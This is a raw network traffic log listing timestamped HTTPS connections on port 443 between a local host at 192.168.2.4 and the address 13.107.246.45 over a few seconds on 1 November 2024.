Nov 1, 2024 05:53:35.395711899 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.395724058 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.397695065 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.398021936 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.398036003 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.398435116 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.398438931 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.538130045 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.538193941 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.538243055 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.538247108 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.538288116 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.538532972 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.538538933 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.538548946 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.538552999 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.541434050 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.541472912 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.541560888 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.541733027 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.541745901 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.787385941 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.787806034 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.787869930 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.788254023 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.788268089 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.919888973 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.919955015 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.920011044 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.920207024 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.920207977 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.920236111 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.920259953 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.922739029 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.922772884 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:35.922852039 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.922988892 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:35.923002005 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.031339884 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.031789064 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.031817913 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.032213926 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.032218933 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.142246962 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.142755032 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.142775059 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.143208027 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.143214941 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.148385048 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.148735046 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.148750067 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.149099112 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.149102926 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.160126925 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.160284042 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.160343885 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.160409927 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.160423994 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.160432100 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.160435915 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.162942886 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.162977934 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.163079977 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.163228989 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.163244963 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.277451992 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.277493000 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.277546883 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.277555943 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.277601004 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.277786016 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.277836084 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.277883053 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.277899027 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.278858900 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.279196024 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.279215097 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.279609919 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.279616117 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.280109882 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.280152082 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.280199051 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.280314922 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.280325890 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.280335903 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.280342102 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.280345917 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.280358076 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.280407906 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.280507088 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.280518055 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.282314062 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.282341957 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.282418013 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.282529116 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.282542944 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.408952951 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.409001112 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.409065962 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.415700912 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.415719032 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.415733099 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.415738106 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.418859959 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.418873072 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.418945074 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.419063091 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.419073105 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.695892096 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.696412086 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.696427107 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.696845055 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.696851015 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.833291054 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.833360910 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.833462954 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.833476067 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.833566904 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.833628893 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.833736897 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.833746910 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.833755970 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.833760023 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.836682081 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.836739063 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.836821079 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.836992025 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.837013006 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.894963026 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.895433903 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.895452023 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:36.895903111 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:36.895909071 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.012641907 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.013369083 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.013381958 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.013806105 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.013811111 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.021459103 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.021866083 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.021887064 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.022470951 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.022475958 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.025361061 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.025408030 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.025475979 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.025609970 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.025624990 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.025641918 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.025646925 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.028150082 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.028171062 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.028255939 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.028405905 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.028417110 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.143244028 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.143290043 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.143462896 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.143862009 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.143874884 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.143884897 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.143892050 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.146709919 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.146732092 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.146831989 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.147013903 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.147023916 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.149874926 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.150262117 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.150269985 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.150687933 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.150691986 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.197370052 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.197410107 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.197468042 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.197495937 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.197513103 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.197701931 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.197710037 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.197721004 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.197725058 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.200496912 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.200532913 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.200820923 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.200820923 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.200850964 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.281162977 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.281233072 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.281292915 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.281460047 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.281464100 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.281471968 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.281475067 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.283822060 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.283833981 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.283915043 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.284059048 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.284069061 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.563822985 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.564640999 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.564656019 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.565399885 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.565403938 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.688961983 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.689111948 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.689163923 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.689167976 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.689215899 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.689368010 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.689382076 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.689392090 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.689397097 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.692274094 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.692297935 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.692373991 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.692548037 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.692559958 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.748373985 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.749044895 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.749054909 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.749633074 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.749638081 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.863078117 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.863677979 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.863692045 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.864130020 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.864132881 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.877119064 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.877187967 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.877275944 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.877727985 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.877727985 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.877753973 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.877763987 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.880491018 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.880512953 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.880595922 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.880775928 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.880788088 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.944927931 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.945446014 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.945457935 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:37.945882082 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:37.945887089 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.001226902 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.001274109 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.001322031 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.001535892 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.001548052 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.001557112 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.001560926 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.004415035 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.004439116 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.004497051 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.004616976 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.004631996 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.017237902 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.017551899 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.017565012 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.017929077 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.017932892 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.077266932 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.077321053 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.077359915 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.077403069 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.077403069 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.077640057 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.077641010 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.077649117 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.077656984 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.079854965 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.079869986 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.079950094 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.080089092 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.080101013 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.149421930 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.149487019 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.149549007 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.149756908 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.149760962 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.149770021 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.149771929 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.152934074 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.152959108 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.153043032 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.153209925 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.153220892 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.453598022 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.454248905 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.454267025 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.454699039 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.454703093 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.588219881 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.588258028 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.588299990 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.588304043 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.588344097 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.588500977 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.588519096 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.588527918 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.588534117 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.591130018 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.591157913 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.591376066 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.591521978 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.591535091 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.616692066 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.617036104 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.617048979 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.617640018 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.617645979 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.726177931 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.726586103 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.726599932 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.727024078 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.727029085 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.747111082 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.747167110 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.747219086 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.747386932 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.747400045 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.747409105 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.747412920 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.749774933 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.749803066 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.749882936 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.750009060 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.750021935 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.818065882 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.818614960 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.818624020 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.819063902 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.819068909 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.859601974 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.859707117 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.859808922 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.859966993 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.859980106 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.859989882 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.859996080 CET	443	49974	13.107.246.45	192.168.2.4
